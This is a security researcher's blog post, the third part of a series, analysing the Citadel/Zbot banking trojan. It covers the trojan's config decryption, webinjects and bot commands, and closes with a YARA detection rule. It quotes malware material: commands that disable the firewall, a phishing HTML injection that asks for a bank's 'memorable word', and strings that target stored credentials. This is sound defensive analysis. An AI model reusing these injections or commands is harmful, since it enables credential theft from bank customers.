This website uses cookies. By continuing to browse this website, you accept our use of cookies and our Cookie Policy. Close

Learn, connect, and collaborate at the Cyber Voice Zero Trust Summit. October 27th.

Sunday, Apr 27, 2014

Crimeware based Targeted Attacks: Citadel case, Part III


Nicholas Griffin Security Researcher

In our previous blog (part 2 in this 3 part series), we outlined how Citadel infects a host machine, and we extracted some string references that we used to detect it via YARA. However, we have yet to really understand how this crimeware works and the risk it poses.

In this third part, we will dive deeper into the analysis and try to extract Citadel's configuration settings, as well as write more solid detection code.

Behavioral Analysis

A good start for our analysis is to look for any suspicious network traffic, so let's monitor our system for exactly that:


We observe that explorer.exe is communicating with an external server over HTTP! This is definitely suspicious. Let's see what was sent and received:


It appears that something related to configuration is being downloaded. The filename is declared as 'config.dll' but there is no PE header in the payload, and we cannot trust what the server is saying. Whatever the content is, there is a good chance it is encrypted.

In order to see how the payload is handled, we need to debug explorer.exe and set a breakpoint on Winsock's send and recv APIs. The idea is to see when the target URL is being requested via send, receive the data with recv, and then set a hardware access breakpoint on the received HTTP payload. We can then run the program and track how the received data is accessed, including memory copies that we will also hardware breakpoint. Using this method, we should eventually end up in the final decryption routine:


We can see here that the final decryption routine is a simple XOR that works backward through the data. This subroutine might be a good opportunity for a new YARA rule, but let's come back to that later.

We need to find a reference to the size and the beginning of the decrypted payload so that we can dump it after it is decrypted. A good way to find this information is to start again and set a breakpoint on the decryption routine before it is executed. In this example, the EAX register should start off as the size of the payload, and EAX+ESI should finish as being the beginning of it.

Now that we have the location and size of the decrypted payload in memory, we can go ahead and dump that memory region to file:


The configuration file contains a header (marked in red) and then blocks of data (marked in blue) with their own headers and payloads (marked in green). The header of the file contains 20 random characters, followed by the size of the whole file (0x9A64), flags, the amount of blocks in the file (0x7F or 127), and finally an MD5 hash. The block headers have an identifier that describes the payload (0x00004E21 means version), flags (0x10000000 means optional), compressed size (0x04), and raw size (0x04). The block payload then follows, which we see as 0x01030501. This is the version number of the configuration file. We can probably assume then, that we are looking at Citadel version

If we look further down the file, we can see some unreadable payloads:


The start of the block is marked, and we can see that the flags are 0x10000001. The flag 0x01 means that the payload is compressed. We can also see that the compressed size of 0x47 is smaller than the raw size of 0x6B. Citadel/Zbot uses the NRV2B compression algorithm, and we can write a simple tool to loop through all of the blocks to decompress them.

Our tool also outputs each block in a human-readable format. Additionally, Zbot configurations usually declare HTTP injections to conduct on specific webpages, and these are also parsed and formatted correctly. As a result, we see some interesting configuration options (we have replaced http with hxxp to prevent hyperlinks):

    Net view
    ipconfig /all
    netsh firewall set opmode disable
HTTP FILTERS (# = capture, ! = ignore, @ = screen capture)

There are definitions here for the bot download URL (LAST VERSION URL), and the data extraction URL (URL SERVER), as well as some HTTP 'filters.' It is possible to screen record, screen capture, or ignore a website or webpage(s) using these filters. There is also a large DNS list, which is used for overriding the host's DNS lookup, presumably to prevent an infected host from being able to visit an antivirus website, or to redirect users to a malicious host.

Further down the file, we see the list of HTTP injections to perform, including this one:

    [URL MASK]
        <tr align="left">
        <td bgcolor="#ceefe7" align="left" valign="middle">
        <div class="entries3">
        <b>Memorable word:</b> 
        <td bgcolor="#ceefe7"><img src="img/space.gif" width="3" height="30" border="0"></td> 
        <td bgcolor="#ceefe7"> 
        <div class="entries"> 
        <input type="password" tabindex="2" name="UKpass" size="15" maxlength="15"> 
        <td valign="top" bgcolor = "#ceefe7"><img src="img/space.gif" width="1" height="40" border="0"></td> 
        <input tabindex="3"
         OnClick="BLOCKED SCRIPT if  (document.forms[0].UKpass.value.length < 2) { 
        alert('Please enter your memorable word');return false;}"

A URL is declared, which can contain wildcards for matching any URL path or domain name. There are also flags that specify how to capture data (i.e., GET data and/or POST data). We then have information about what code to look for on the webpage, and the injected code to insert at the location where that code is found.

In this example, a popular banking website is affected. The normal webpage has the following fields:


The injected code makes the page appear differently:


To an unsuspecting victim, there is nothing too alarming here. The modification looks legitimate, and asking for a customer's memorable word is a somewhat believable security measure. However, when the information entered is submitted to the login form, it is captured and sent to the data extraction server.

So we know how Zbot downloads and uses its configuration file, and this is a key function of the trojan. However, more functionality can be called with remote commands. These remote commands exist within an array of strings that Zbot uses for its core functionality. Another tool of ours can find this array in memory, and then decrypt and dump the strings in C-style formatting. Here are some of the more interesting strings:

/* Turning off the IE phishing filter? */
char *string_77     = "Software\\Microsoft\\Internet Explorer\\PhishingFilter";
char *string_78     = "Enabled";
char *string_79     = "EnabledV8";   
/* Targeting email client data? */ 
char *string_117    = "Outlook Express";
char *string_118    = "account{*}.oeaccount";
char *string_119    = "Software\\Microsoft\\Windows Mail";
char *string_120    = "Software\\Microsoft\\Windows Live Mail";
/* Targeting FTP credentials? */
char *string_151    = "SOFTWARE\\FlashFXP\\3";
char *string_152    = "datafolder";
char *string_153    = "*flashfxp*";
char *string_154    = "FlashFXP";
char *string_155    = "wcx_ftp.ini";

Note: It is not feasible to target these strings with a YARA rule as they remain encrypted until used.


We can see here that browser, email, and FTP related information is referenced. Due to the nature of the string references, we can assume that sensitive private data is being targeted for extraction.

Also in the string dump are the command declarations for the bot:

/* Bot Commands */
char *string_227    = "os_shutdown";
char *string_228    = "os_reboot";
char *string_230    = "bot_uninstall";
char *string_231    = "bot_update";
char *string_232    = "bot_transfer";
char *string_235    = "bot_bc_add";
char *string_236    = "bot_bc_remove";
char *string_252    = "user_ftpclients_get";
char *string_253    = "user_emailclients_get";
char *string_260    = "info_get_software";
char *string_261    = "info_get_antivirus";
char *string_262    = "info_get_firewall";
char *string_263    = "search_file";
char *string_264    = "upload_file";
char *string_265    = "download_file";
char *string_266    = "ddos_start";
char *string_267    = "ddos_stop";
char *string_268    = "webinjects_update";
char *string_271    = "close_browsers";

There are 45 commands in total for this particular Citadel build. Among other things, it can shut down the host's OS, update itself, block URLs, involve itself in DDoS attacks, and extract data on demand.

Clearly Citadel has a lot of functionality, and its ability to encrypt and decrypt data on the fly means that relying on a YARA rule that targets a string is weak. The decryption routine we found earlier might be a better target for a more generic detection. Zbot, Citadel, and other variants use this same decryption routine, and it is a solid foundation from which we can write a detection.

So here is our new, updated YARA rule:

rule crime_win_zbot_memory_dev_ws
        description = "ZBot & variants - configuration _unpack routine detection"
        author = "Nick Griffin (Websense)"
        yaraexchange = "No distribution without author's consent"
        date = "2014-04"
        filetype = "memory"
        md5 = "4d175203db0f269f9d86d2677ac859cf"
        sha1 = "4b422b48be4beaa44557c452f0920aa1ee0b16cb"
        $hex_string = {85 C0 7? ?? 8A 4C 30 FF 30 0C 30 48 7?}
        $bkrebs = "Coded by BRIAN KREBS for personal use only. I love my job & wife."
        $hex_string or $bkrebs

We include the previous string detection, and with the new code detection we now have a more robust detection for Citadel and Zbot variants in general.


Citadel is a feature rich toolkit that mostly targets personal information. The intended victims of this attack, detailed in part 1 of this blog, were top personnel in key financial positions. This makes plenty of sense, because decrypting Citadel's configuration file and the strings it uses reveals how and what it targets in more detail, including banking information and login credentials. The author of this attack was probably aiming for financial gain above all else.

Finally, Citadel's ability to add and change code on-demand makes it a huge security risk once it has infected a host machine, but disabling it may be as simple as removing the start-up entry from the Windows registry. Additionally, creating a YARA rule for detection is fairly straightforward and should provide a solid foundation for identifying Citadel and Zbot variants in the future. Even if the decryption routine changes, we now have a good understanding of how the trojan works.

About the Author


Nicholas Griffin

Security Researcher